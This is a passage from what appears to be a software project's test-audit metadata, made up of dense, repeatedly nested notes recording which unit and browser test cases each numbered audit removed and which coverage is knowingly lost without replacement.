replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1674 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1634 removes low-value IPC, filesystem and runtime projections, argument inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained cancellation, ownership, authorization, filesystem and SQLite boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Local macOS evidence covers main-process pending-output and projection-admission caps, saturated-tail wait detection, direct-SSH source retention/accounting, always-on V1 negotiation with legacy peer fallback, exact provider-generation pause ownership, renderer exit/data ordering, decoder input bounds, bounded reconnect scheduling, and WSL stdio transport settlement through deterministic unit contracts. A joined main/runtime oracle exercises renderer-sourced headed semantics and headless-model snapshot semantics without launching a live paired server. Separately, a macOS-hosted Docker OpenSSH run exercises only the deployed Linux relay and direct SSH provider with an exact 256 KiB source-credit plateau, concurrent PTY typing, fixed-size filesystem frames, Git churn, and owner-lease reconnect. Neither deterministic topology labels nor Docker SSH constitute live headed desktop, headless orca serve, or physical WSL evidence; local/daemon, prior-version daemons, Windows named pipes/ConPTY, folder workspaces, and mixed-version clients also remain uncovered. Audit1312 removes low-value imported specs from aggregate test drivers; old whole-driver execution receipts are archived. Retained registrations are unchanged. No equivalent replacement coverage is claimed. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result.", + "coverageNotes": "Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit3994 retires two authored callbacks imported by the shared construction test driver: split OSC 9999 carry and rendererless status ownership, plus OpenCode permission text taking priority in status and tui-idle refusal. Remaining imports and selectors keep their scope. No equivalent replacement or fresh gate execution is claimed. Audit3788 retires10 authored/11 expanded cases across six changed drivers, including the entire screencast pending-frame-retry and usage-source-cache-streaming suites. Deliberate losses are false-refused last-frame retry/once-only delivery, ordinary stable-pane reattachment, cleared-chat Dispatch completion, terminal-declared chat-caller refusal, at-rest worker liveness projection, nested depth/cap policy, small unsigned6/sealed7 plain-format and verified-bit examples, generic malformed-ISIZE footer refusal examples, and synthetic10k/100k chunk-size/work-count budgets in gzip and general cache I/O. These include real state/disk/RPC outcomes consciously retired for marginal value; retained E2EE-backlog, receipt/custody/uncertain-ack, integrity/migration and staging-cleanup cases are not equivalent replacements. The footer test did not prove early rejection or bounded allocation; staging cleanup did not seed unrelated files. No replacement or fresh native/remote/performance execution is claimed. Earlier raw selectors and dated receipts remain historical. Audit3779 retires17 authored/17 expanded registrations across six changed drivers, including the entire shared-Codex-home and prompt-telemetry suites. Accepted losses are shared-home wrapper noninterference/opt-out preservation, mocked metric count/provenance filters, SSH activity labeling/clearing and handover idle timing, VM ownership/capability/status projections and asleep-worktree refusal, a link-only external conversation replay sample, and two narrow input-credit noninterference/expiry examples. Retain the direct exact-tab/single-use input-credit case. These bounded real disk/state/routing alarms are intentionally retired for marginal value without equivalent replacement or fresh execution claims; earlier receipts remain historical. Audit3772 retires18 authored/27 expanded cases, including whole Codex service opt-out, RPC capability-parser, creator-provenance, short-ciphertext and readiness-null suites. Accepted losses include service ledger/symlink/mode cleanup, user TOML substring preservation, old-hash cleanup, description pass-through, malformed-file/pending-hash examples, coordinator write/probe counts, capability array bounds, positive creator projections, early short-payload refusal and readiness helper null shape. Two redundant Codex exit-cause rows are also retired; Pi shares their direct-idle path only in this empty-output immediate-exit fixture, and future agent-config drift coverage is lost. Real bounded filesystem/parser/runtime alarms are deliberately retired for marginal value; no equivalent replacements or fresh execution are claimed. Earlier receipts retain their historical scope. Audits3754/3755 intentionally remove9 authored/9 finite registrations: the entire one-case usage-source-cache-streaming.test.ts driver and8 cases from the surviving computer-action-validation.test.ts driver. This gate retains an unfiltered root Vitest command; UNIT_INCLUDE admits both source paths. Accepted losses are the real encoder output chunk-size/work-count alarm on repetitive10k/100k ownership payloads through a mocked durable sink, plus CLI diagnostic precedence, fractional window-id rejection, action-call-site window-target exclusivity, plain-text click-count recovery copy, incomplete click/drag targeting, mouse/modifier/direction allowlist samples and inline/stdin text exclusivity. These CLI cases exercise real argument/handler validation before mocked runtime calls; they are deliberately retired for marginal value, not declared tautologies. Retained cache I/O and CLI cases are not equivalent replacements for these alarms. Existing historical raw receipts remain unchanged and do not validate the deleted or reduced drivers. No fresh execution claim is made. Audits3758/3763 intentionally remove9 authored/11 finite registrations from6 changed drivers, including the entire pane-title-notification, window-linear-notices and worktree-card-lifecycle-effects suites. This gate retains an unfiltered root Vitest command admitting these paths. Accepted losses are same-account linked-row success-notice fanout, sidebar-switch channel forwarding, Linear-only notification forwarding/non-terminal-consumer selection/closed-window detach, destroyed-window refusal and first-send-failure suspension through the pane-title adapter, the100-card synthetic focus/poll absence sample, stored-source local folder badge refresh, unobserved-row badge refusal, and immediate reposChanged lineage invalidation. These exercise real owners with controlled ports; they are retired for marginal value, without equivalent replacement claims. The no-badge-work fixture does not seed its title-promised collection-only cache. Preserved historical receipts do not validate deleted or reduced drivers; no fresh execution is claimed. Audit3759 retires the entire one-case Tailwind compiler/scanner smoke. Accept loss of the direct CSS production/test/spec source-exclusion and rescan alarm; no replacement or current execution is claimed. Audit3752 independently approves audit3749: retire five authored/five finite watcher-process registrations, retaining18 raw-exact registrations. Accept loss of healthy shared-pool joint recovery, last-pending-failure idle retirement/respawn, late VITEST fallback release, missing-entry fail-closed selection and independent-supervisor fuse locality alarms. These are real bounded host-policy alarms intentionally retired for low marginal value; no equivalent replacement is asserted. Remaining driver selections exercise controlled FakeChild supervisor lifecycle, cancellation, physical-exit fencing, recovery and fuse behavior. This source review supplies no fresh native/process/platform/remote/SSH execution; historical receipts retain original source and selector scopes. Audits3738/3742/3743/3744 intentionally remove15 authored/21 finite registrations from six surviving drivers, with no equivalent replacement or fresh execution claim. This gate retains an unfiltered root Vitest command. Current UNIT_INCLUDE admits the partial push-service, metadata-dialog and two config/scripts browser drivers:10 authored/16 finite removals. Accepted losses: actual retry30s/60s progression and register bucket/refill wiring, explicit seven-day lease arithmetic (its notification lacked seq/epoch and never reached send), equal-name edit latch/save payload, real image/font/meta-refresh/form/popup browser refusal controls, and broad rich-markdown bridge/command/edit-select smoke. Actual production state, callback routing and browser enforcement run in these cases; these alarms are deliberately retired on marginal value. All drivers and selectors survive. Existing unrelated receipts remain historical evidence for their unchanged selectors, not proof of the reduced cases. Audit3732 removes 2 authored/3 finite registrations from two partial suites: nominal custom/Kimi local naming success and deferred context usage row presentation. Real losses: custom/Kimi successful extraction through conversation-name sanitization and agentLabel composition; separate ordered counted/deferred lists and exact percentage/token formatting. No replacement or equivalent coverage claimed. Retain 11 authored/13 finite raw-exact registrations for bounded naming instruction/refusal/cancellation, menu dismissal focus ownership and hover/composer Escape/timer cleanup. Source-only bounded value review, no runtime/CI/native/remote/mobile/folder workspace or global completion credit. Previous account (preserved verbatim): Audit3733 removes2authored/2finite terminal input checks: fixed custom-cap error/secret fixture and three-emoji cap5refusal whose6UTF16units already trip length fast guard (no UTF8-dependent boundary). Accept exact non-disclosure/oversized-refusal alarm losses; no replacement/equivalence claim. Retain13/13scalar/pending input, OSC state and cron DST/cadence outcomes after bounded material reads. Source-only zero runtime/novelty credit; original historical reasons preserved. Previous account (preserved verbatim): Audit3729 removes1authored/3finite by deleting whole CLI runtime pairing advisory-close suite. Accept losing post-real-close injected EIO preservation of native/script/unreadable pairing, env identity/preservation and exact close/release assertions; no actual failed-close leak or replacement coverage claimed. Two retained URL grammar/identity suites11authored16finite raw unchanged. Bounded source/owner/caller value review, zero novelty/runtime credit; other seven3724deferred closures remain. Historical receipts preserve original limits. Previous account (preserved verbatim): Audit3724 removes3authored/3finite checks by deleting two whole suites: TUI clear burst-size singleton and terminal-file-URL target two-case wrapper suite. Deliberate losses: derived widest burst<64byte alarm, UNC authority+line-column anchor composition, and malformed-percent null refusal. Real production algorithms execute in those tests; no mocked-output tautology, equivalent replacement, actual Claude/file-navigation delivery or universal safety-irrelevance claim. TUI58byte bound and URI examples have low marginal value as standalone suites. Actual1262/1264/1742KEEP superseded explicitly. Remaining14drivers83authored136finite raw unchanged. Bounded source-only review; ten closures deferred, four bounded keep judgments repeated with zero new semantic-frontier credit. No runtime/CI/native/remote/mobile/folder/global completion claim; historical receipts retain original scope. Previous account (preserved verbatim): Audit3723 removes 4 authored/4 finite registrations in two whole suites: keybinding cache freeze/token spellings and host-dependent Orca command name examples. Real losses include returned-object freeze, repeated Mod+P key, Space/PageDown/NumpadSubtract mapping, unknown/empty/prototype-token rejection, and headless Linux versus Windows-server/WSL command choice. No equivalent or replacement coverage claimed. Retain 12 authored/21 finite raw-exact registrations exercising generated scaffold validation, artifact failures, shipped editor/hook/worker/panel tests, actual generated typing compilation, independent CLI root routing and intent-name precedence. Source-only bounded audit; no runtime, CI, native, remote, mobile, folder workspace or global completion credit. Previous account (preserved verbatim): Audit3720 removes17authored/23finite checks: whole main catalog-date adapter2 and shared date-helper7, seven renderer nominal ranking/cap/no-date/composition cases, and one browser registration expanding to seven forced-container/DOM-child boundary cases. Deliberate real losses: community oldest-date UTC forwarding, official/undated omission, date sorting/window/invalid/future/skew/clamp and default/override cap; nominal ranking/cap and combined Featured/Newly-added outputs; real CSS459/460,719/720,1055/1056breakpoint, five-card partial-row and720px two-card first-row alarms. Browser cases really measure rendered geometry but force width/remove DOM children; no fake-pixel or tautology rationale. No replacement/equivalent coverage claimed. Retain14authored/19finite raw-exact registrations across4drivers: adversarial featured category/order/tie and installability, date order/window selection, actual PluginManager failure/escaping/duplicate-card suppression, real browser viewport/odd-count geometry/phone catalog visibility, syntax ingress/depth/include/printability and68dlong-bracket auto-close fill-in. No tests/browser/native/UI/provider/remote/mobile/folder/CI/global execution or completion credit. Previous account (preserved verbatim): Audit3717 removes6 authored/6finite checks in two whole thin-adapter/presentation suites. Deliberate real losses: ordinary recipe repository-URL withholding and provisioned-root credential scrubbing/forwarding; repository label lockstep suffix expansion, host-scoped map identity/collision grouping, Windows crosshost paths and WSL distro suffixes. Actual provision options, label/sort consumers and host/scrubber delegates inspected; no replacement/equivalence claim. Retain40 authored/84finite registrations raw exact in14 drivers with bounded owner/context review. Prior KEEP superseded for removed suites; no runtime/CI/provider/browser/native/mobile/remote/folder/global completion credit. Previous account (preserved verbatim): Audit3714 removes8 authored/39finite checks: whole CLI selector-recovery, task display-text and ANSI grammar suites plus two name joiner/blank tables. Deliberate real losses: selector flag/value/identity and mutation recovery merge/serialization; exact task suffix, transcript fallback, input immutability, cache reuse and edited blocks; independent failed-escape/resumption and OSC/DCS/BEL/ST/C1/nested/unfinished stripping outputs; meaningful-language joiner preservation and invisible/blank-name rejection. These are real bounded alarms, removed as narrow supplied-error examples, helper/token inventories and repeated internal-work fixtures. Prior2936,1195/1196,1214/1215 and1082 KEEP superseded; no replacement or equivalent coverage claimed. Keep9authored/9finite raw-exact registrations in5surviving drivers: screenshot export/failure filesystem behavior, CLI local tree query, event-local reply provenance, vault role-sensitive content and four hostile/UTF16/dangling/tag-name regressions. No native/UI/provider/remote/mobile/folder/runtime/CI/global completion credit. Previous account (preserved verbatim): Audit3711 retires2authored/4finite cases by deleting whole clipboard-image-temp-file signature-to-name inventory (HEIC/TIFF/unrecognised bytes) and workspace-last-active switch-on supplied visit/reason singleton, plus its now-orphan test fixture. This intentionally loses real generated-filename suffix/extensionless alarms and real newer-visit archived7day versus inactive30day filtering/older-visit identity alarms. Filesystem writing and production reason pruning really execute; no equivalent replacement or universal absence of safety relevance is claimed. The clipboard test does not inspect written bytes, native delivery or decode; the visit test supplies candidate/timestamps and does not exercise persisted visit routing or actual removal.20authored/20finite cases remain unchanged across4bounded Git/sidecar/removal drivers. No new runner/test/module evaluation or runtime result; historical notes and receipts remain historical. Previous account (preserved verbatim): Audit3707 removes10 authored/11finite checks: three whole renderer adapter/assembled-stage suites and two native projection cases. Deliberate losses: plugin URL/ref/default-version/local-path and unsafe credential refusal forwarding; real Task hook/store A→B→A late-save/list/count fences, owner disappearance, legacy-host convergence, query/history/eviction and same-ID host history; native child append ordered-ID/replacement and compound fallback/order/optimistic-admission/child-turn/duplicate/shrink/revision alarms. These are real bounded alarms; removal follows thin adapter, manually assembled Task pipeline and repetitive fixture value judgment, with no replacement or equivalent coverage claim. Prior1179/1182,1220/1221 and1885 KEEP superseded as applicable. Keep36 authored/38finite registrations raw exact across13 surviving drivers. No runtime/CI/provider/browser/native/mobile/remote/folder/global completion credit. Previous account (preserved verbatim): Audit3706 removes7authored/7potential cases from3renderer sources: whole usage-label3case and130000-distinct-day usage-overview singleton suites, plus3SSH grouping/ordinary-range examples. Retain11authored/11potential cases across6drivers in this bounded selection; no equivalent replacement or fresh runtime result. Existing bare root-unit commands admit this selection statically; prior command/receipt strings remain historical. Audit3706 intentionally retires first/second-order usage-group label collision alarms; equal50%-weekly bucket versus derived-weekly selection identity and Gemini wk label alarm;130000distinct-day aggregation no-spread-crash/max/intensity alarm; legacy absent-source SSH grouping and ordinary reverse-select/selected-target deselect range alarms. Actual label ambiguity and pathological-input crash are accepted losses. Distinct-day fixture spans~356years; no hard producer/date bound is claimed. Retained filtered-anchor/grouped-order guards do not replace removed deselection/reverse-range/legacy-group coverage. No native SSH, mounted renderer, live provider, remote/folder/mobile end-to-end or current runtime pass was obtained. Previous account (preserved verbatim): Audit3699 removes4 authored/4finite checks, including one whole xterm copy-policy suite and one root/group CLI help case. Deliberate losses: direct copy-chord admission for platform, selection, Kitty mode, defaultPrevented, logical/physical key and key phase; command-group disclosure and group help routing including claude-teams early return without RuntimeClient construction. These are real bounded policy/wiring alarms; no replacement or equivalent coverage claimed. Retain14 authored/19finite raw-exact registrations across6 drivers: unsafe CLI refusal, Claude model event carry and disk reconstruction/OSC-first case, attachment ownership/upload lifetime and mixed BMP file-reference/PNG-chip delivery, actual SQLite authority/admission/mutation, and Electron geometry/hit-testing. No runtime, CI, native-key delivery, external provider, mobile, remote, folder or global completion credit. Previous account (preserved verbatim): Audit3692 removes5 authored/5finite marginal Codex checks: unrelated login URL without notice; ordinary per-account launch resource/config materialization; no-retained-pane skip; preservation of a previously owed full scan through actual preparation and pending-marker update (no actual history scan/settlement); ordinary later-config refresh. Accept these exact branch/wiring alarms as deliberate losses without replacement. Retain32 authored/34finite raw callbacks/registrations/table bytes exact across14suites, including credential/admission refusal, grace/reset readiness, filesystem ownership, commit-dependent queue state, streaming/host trust, path canonicalization and private-state preservation. All14whole suites challenged without keeper quota; no whole deletion warranted on current concrete signals. No runtime/CI/native WSL/remote/mobile/folder/global completion credit Previous account (preserved verbatim): Audit3691 removes two complete runtime-home routing singleton suites (2 authored/2 finite): catalog wrapper mirror login-copy and passive transcript-lookup filesystem noncreation. Exact accepted losses are recorded in knownGaps; no replacement or equivalent coverage claimed. Audit3691: no dedicated alarm remains in the deleted sources for post-launch system login import through prepareHostCodexHomeForReadOnlyAppServer, or for repeated missing-transcript lookups leaving removed Codex account/runtime directories absent and userData entries unchanged. Ownership-marker read avoidance was never independently measured. No real catalog probe, provider, native Windows or crash was validated by those fixtures. Previous account (preserved verbatim): Audit3686 current Claude profile/account review removes5 authored/5 finite cases: whole structured-auth diagnostic-label suite3 and Windows-only command suite1 whose advertised cache alarm is ineffective because cache lifetime is per invocation; remove duplicate setup namespace-link refusal1 at wrapper layer. All5 exact historical KEEP are consciously superseded. Retain49 authored/50 finite unchanged, including filesystem privacy/recovery, route identity and concurrency, built worker/helper, legacy WSL alias compatibility and sign-in handoff. These are deliberate coverage losses without replacement. No runtime/CI/native WSL/macOS Keychain, remote/mobile/folder or global completion credit. Explicit accepted real losses: unknown-account host fallback and mixed-version/WSL-only structured auth diagnostic labels; Windows-only sentinel ENOENT-to-friendly-error translation plus fresh-call successful dispatch smoke; setup catch-to-refused wrapper and no-write outcome for a namespace symlink. The command case does not discriminate removal of its per-invocation noncache guard; it still supplies the error-translation alarm, which is intentionally retired. No replacement/equivalence promise. Previous account (preserved verbatim): Audit3680 removes eleven authored/eleven finite unit cases across four files, including entire launch setup row projection, structured legacy-model metadata, and legacy classifier suites. Accept loss of exact row partition/start selection, Codex supersession/default/unknown and Claude alias/suffix folding examples, other-agent exemption, getter/cache read budgets, same-array per-agent cache isolation, replaced-catalog metadata, and tracked-only model exclusion from structured and PTY legacy inventories. These are real narrow policy/metadata alarms intentionally retired without equivalent replacements. Retain real menu collapse/reopen in dropdown/select, AI picker cancel/accept and stale-effort filing, IME carry/gesture/frame transitions, and typed-flip versus held-dispatch fencing. No production or shared fixtures change. No dead timing entry exists for the three deleted drivers; retained timing keys stay unchanged. Static source-value review only; no project import, test runner, native/app execution or runtime validation established. Earlier receipts retain historical scope. Previous account (preserved verbatim): Audit3678 current-source reassessment removes20 authored/24 finite root-unit cases across7 retained test sources; all10 selected current drivers80 authored/93 finite were read, leaving60 authored/69 finite unchanged. Removed alarms are the in-memory WAL PRAGMA constant, ordinary latest-dispatch/gate-creation inventories, self-reported-failure and explicit-terminal retry policy rows, SSH/unsupported-provider output fallback labels, legacy typing no-op/retain-before-report/manual scheduling rows, exited output status and copied resume-session metadata, incomplete inventory deferral/reset cascade inventory, and nominal release/active-state/corrupt external history/stopped-abandoned outcome/generic close-exception rows. These are intentional coverage losses, not replaced alarms. Retained source includes actual SQLite rollback/custody, mutable transcript/deletion and saved-copy compatibility, cursor mutation, clear lineage, auto-release timing/restart/admission and concurrent recovery seams. Historical KEEP decisions are consciously superseded where stated in decisions.json. Source-only evidence; no runtime, CI, native, provider, remote, mobile/folder or global completion credit. Previous account (preserved verbatim): Audit3672 renewed by3676 removes four authored/four finite cases from federation-output.test.ts: nominal show/read routing and terminal-fallback projection; initial archive-table SELECT failure returning retained/no-close; simulated old-peer read/fleet/refusal and method inventory; and absent archive-release capability refusing release. These actual compatibility/guard alarms are intentionally lost without equivalent replacement; the dropped-table case never reaches capture or commit. Current selected frontier9 becomes5: retain actual temporary transcript parsing/path omission, current no-transcript release/unavailable-output/restart/replay regression, and three home deadline/stop nonmutation cases. Prior held-capture case was already removed upstream and receives no new removal credit; prior redacted snapshot archive behavior was rewritten upstream and is not claimed retained here. The surviving driver timing entry stays. Static review/private composition only; no actual peer/network/native/platform or fresh runtime validation. Previous account (preserved verbatim): Audit3671 removes14 authored/32 finite root-unit cases, including the whole WSL move-handler refusal suite, WSL preload object-presence suite and internal gate spelling truth table. Also retire the weak withheld-command non-array shape assertion, static serve-only Add/capability/mock-remove example, grammar scope equality and basic configuration/payload schema roundtrips. Genuine wrong-window/malformed-request/gate-before-work, exact gate spellings/platform/argv precedence, static serve-only routing, declaration mismatch and empty grammar/pair admission alarms are consciously lost without replacement; prior KEEP decisions are reconsidered. Seven unchanged authored/finite root-unit cases retain real image/provider/line budgets, live policy transition/capability broadcast, grammar resource/reference traversal and strict-versus-tolerant literal salvage. Source-value evidence only; no runner/compiler/build/app/native/provider/remote/mobile/folder validation or historical fault claim. Independently remove one authored/finite Playwright closed-gate app-boot inventory: accept loss of real renderer/preload/main refusal composition, saved-host row and Add/Move hiding/Remove visibility alarms. Keep the unchanged scripted-move rendered dialog lifecycle/reload case. It runs no real WSL migration, host connection, file copy or automation restoration. No selector or Playwright participation cleanup is required because the spec remains. Previous account (preserved verbatim): Audit3663 renews approved3644/3645/3648/amended3651 at privatec1ef: remove10authored/26finite across7changedtestpaths,4whole drivers; retain23authored/24finite including actualcmdkStrictMode defaultcursor race. Retire version1.5.0/1.5.1→shrinksImages capability threshold and launch-to-prompt wiring alarm. Surviving prompt tests explicitly supply capability and do not replace wiring coverage. Retire resolved-before-personOnly precedence; hook-gone/live-dialog guidance; stale-incarnation versus live-looking dialog classification; delayed/clipped warning extraction and wait-for-paint wiring; 3row setting/personOnly approve/deny/disclaimer suggestion composition;13row setting/reason/person/coordinator admission, close/mail attribution, terminal delivery/refusal/preanswered/personOnly/dropped-allow handler propagation alarms. Real state/access/SQLite effects occur; these genuine losses are accepted, not mocked-away. Retire full command extraction from serialized JSON in worker receipt and nontruncation alarm; no rendering, actual worker approval or native shell proof. Retire2row extra-source first/last order and controlled default cursor projection, plus generic open-palette livefolder add/remove render alarm. Explicitly supersede rawexact297KEEP refresh. Keep actualcmdk/StrictMode default cursor race driver; no default-suite loss claim. No equivalent replacement asserted. Retained queue/commit/retryownership/filebudget, terminalfreshness/provenance/competing-answer, RPC DB-effect, qualifiedfolder/runtimehandoff and lingering-reopen cases have distinct scope. Audit3675 preserves the upstream revised unreported-approval close regression, its escalation helper and adapted survivors. Source-only static renewal; no runner/compiler/app/native/remote/CI claim. Upstream41390host-owned approvalwatch/report lifetime reviewed separately; no new lifetime test removed. Preserve all earlier metadata/evidence. Audit3634: Remove five authored/five finite cases, including the complete structured chat terminal-refusal, terminal-plus-agent worker-start validation, and canonical Git common-directory parser suites. Also remove the gh free-text -R argument projection case. Consciously supersede prior KEEP decisions and accept chat-versus-stale redirect classification, real RPC refusal-before-SQLite-Dispatch, old-Git echoed-option relative-path parsing, WSL execution-space resolution, and free-text preservation/bare-repo qualification alarms. These are genuine narrow alarms, intentionally retired without equivalent replacements. Retain real Git stdin/EOF delivery, bound-account host admission, naming environment/account precedence, upload iterator cancellation and remote path confinement. Shared fixtures and production code remain. Remove only the dead canonical-repo-key timing entry. Static source-value evidence only; all prior evidence retains historical scope. Audit3636: Remove the entire maintenance opportunity internal-count driver (one authored/two finite cases), the mocked remote worker start-card argument case (one/one), and the follow-up heading mapping table (one/two). Root-unit discovery loses three authored/five finite cases. Independently remove four Python native screenshot methods/five statically enumerated subTest scenarios: grim argv/stub payload, failure-code mapping, X11 mocked capture payload, and capability flags. The Python lane is verify:computer-native and is not root Vitest. Accept loss of exact native command/projection and exception/capability alarms, ready-only card publication arguments/agent forwarding, and serialized follow-up heading mapping; no equivalent replacement is claimed. Retain actual ownership/mail/queue/reopen transitions, remote lost-response fencing and first-result settlement, filesystem/maintenance admission and successor progress, wrong-region screenshot refusal and Sway geometry. The whole-deleted new driver has no timing key; this component requires no timing cleanup. No production changes. Static source-value review only; no project import, runner, app, native desktop or runtime validation established. All prior evidence retains historical scope. Audit3629 removes two singleton parser suites: WSL Claude plugin metadata out-of-range index rejection and Git checkout unlink-warning path extraction. Their real range-refusal and quoted-path extraction alarms are intentionally lost without replacement; no WSL execution, checkout recovery or equivalent remaining coverage is claimed. Audit3630 removes the sole orphan automation availability test (1 authored/1 finite). Its real policy kind, orphan precondition, delete/toggle enablement and run/edit refusal alarms are intentionally lost. The test did not dispatch an action, enforce a server generation fence or observe a remote mutation. No equivalent replacement, actual renderer/transport execution or new platform/provider evidence is claimed. Previous account (preserved verbatim): Audit3628: remove the entire one-authored/one-finite RepositoryRemoveProjectSection happy-dom suite. Accept losing the local zero-to-one-terminal stale-count revalidation alarm: first confirmation defers the removal callback and second confirmation invokes it after the count snapshot updates. The test never asserts updated warning text/count, actual terminal creation or removal/PTY teardown, host/scope routing, cancellation or folder/mobile behavior. No equivalent replacement or end-to-end warning-before-teardown proof asserted. Static evidence only; historical receipts retain original scope. Audit3624: Remove one authored/five finite positive Gemini identity table from the Claude/Gemini title collision driver. The real normalization, legacy label and explicit title evidence owners execute, so ordinary Gemini marker/name/wrapper recognition and normalized-label composition alarms are consciously retired without equivalent replacement; these five supplied title-to-literal identity examples have low marginal value. Preserve the six-row Claude task-text collision oracle, whose unrelated CLI mentions must not rebrand or destructively normalize titles. The other audited drivers preserve real permission-mode session transitions, prompt secret/fence/bounds defenses, JSON-to-Ask option/preview preservation, and optional GitLab failure summary/trace composition. Root-unit discovery loses one authored/five finite cases; no whole driver or timing key is removed. No actual terminal stream, UI routing, application/native or runtime execution established; all prior evidence retains historical scope. Audit3618: Remove three authored/three finite browser reload cases, including the complete renderer reload-actions suite. Agent bridge fake did-fail-load plus permanently supplied manager error projects description/code into a rejection. Renderer seeded empty metadata projects a saved URL into plain webview src; its earlier not-ready case projects a live-id/throwing fake reload into absence of a loading patch. Real queue/wait/error/cache/classifier/hook code executes, but these narrow supplied-state and exception-to-callback wirings have low marginal value; no rerender, lifecycle, actual cache generation/retirement or guest commit is asserted. Explicitly supersede audit1822 not-ready KEEP and preliminary3617 cross-module retain opinion, accepting offline-reload failure reporting, empty guest to saved URL routing, native-reload bypass and premature-loading/stranded-state alarms without replacement. Retain distinct main cancellation queue progression and absent queued side-effect dispatch. Root-unit discovery loses three/three. No Electron guest, network failure, restored navigation/commit, app/native focus or runtime execution established; earlier evidence retains its historical scope. Audit3614: Remove thirty-one authored/thirty-nine finite potential cases across CLI format and argument drivers, including three whole suites: search-result/status sanitation sites, Linear issue/list/warning sanitation sites, and quote-stripped JSON diagnostic secret non-echo. Those real formatter/guard transformations execute on supplied strings; intentionally retire their field-specific CSI/OSC/C1/newline/bell and diagnostic secrecy alarms as low-value caller/output inventories, without replacement. Also retire twenty-one search registrations/twenty-four finite cases covering minimal positional request/default omission, exhaustive all-flags request projection, nominal named query/index routes, repeated syntax/agent examples, enum/agent/path-count/timestamp/numeric/cursor admission examples, unknown/browser flag examples and postcommand last-wins projections; retire one parser sentinel-only case. Keep actual ambiguity, conflicting index request, precommand/crosscommand scoping, variadic reference parsing and missing-repeatable-value controls, without claiming equivalent coverage. Root-unit discovery loses all twenty-nine/thirty-seven. No CLI/RPC/terminal/PowerShell/host/schema/runtime execution is established by this source-only audit; earlier evidence retains its historical scope. Audit3613: remove six authored/six finite callbacks, including whole reviewer-display oversize-input and explorer-root record-filter suites, plus plugin family-emoji/invisible-only-name and pool legacy-name/urgent-countdown samples. Accept losing oversized-input empty-result/no-split, malformed-record/prototype-sensitive-key/nonstring filtering, exact ZWJ family preservation, invisible-only name refusal, no-group old-host full-name preservation, and80/79/null-reset countdown composition alarms. No equivalent replacement asserted. Retained strict/runtime sanitization, SVG parser, mobile focus recovery and collision/tie cases have different scopes. Static evidence only; historical receipts retain original scope. Audit3609: Remove the complete pnpm CLI invocation literal-selection suite (eleven authored/nineteen finite potential cases), with no replacement claimed. Root-unit discovery loses JavaScript-versus-native command selection, npm/npx executable rejection, Windows cmd/bat casing and shell selection, non-Windows cmd behavior, native PNPM_HOME flat/bin preference, explicit-path priority, relative-home rejection, missing-native fallback and non-Windows home-probe refusal alarms. The suite called the real resolver with independently expected objects, but exercised no pnpm/node/cmd process, installed native executable or real filesystem probe. Earlier KEEP decisions are consciously superseded by accepting these narrow branch and probe-inventory alarms as low value. Real symlink entry, Git signing isolation, Bun filesystem/Node child normalization and compiler scheduling/continuation tests remain distinct tests, not equivalent coverage. No runner, compiler, app, platform or remote execution was performed in this source-only audit. Earlier evidence retains its historical scope. Audit3608: remove five authored/five finite callbacks, including whole owner-slug and remote favicon URL suites and two repository-label projections. Lose five owner acceptance samples, eleven negative owner samples plus nonstring refusal, six host-local icon refusal samples, legacy-SSH same-path label-map cardinality, and explicit runtime ownership over stale legacy metadata at label level. These are accepted narrow grammar/presentation alarms with no equivalent replacement claimed. Retained binary parser, React recovery and label grouping/platform cases do not replace these losses. Static evidence only; historical receipts retain their original scope. Audit3606 adopts the enhanced3604/3605 icon cuts: nine authored/nine finite cases removed, including the whole tray-attention-icon suite. Retires the no-encoder oversized-upload null sample, missing-ID/request-order sample, encoder-null PNG-prefix fallback, SVG/404 rejection samples, transparent amber-dot placement and half-alpha white-tint sample, exact small fetched-byte passthrough, host-qualified image-key inventory and constant-encoder large-upload projection. These specific admission, formatting and bitmap alarms are intentionally lost without equivalent replacements. Retained 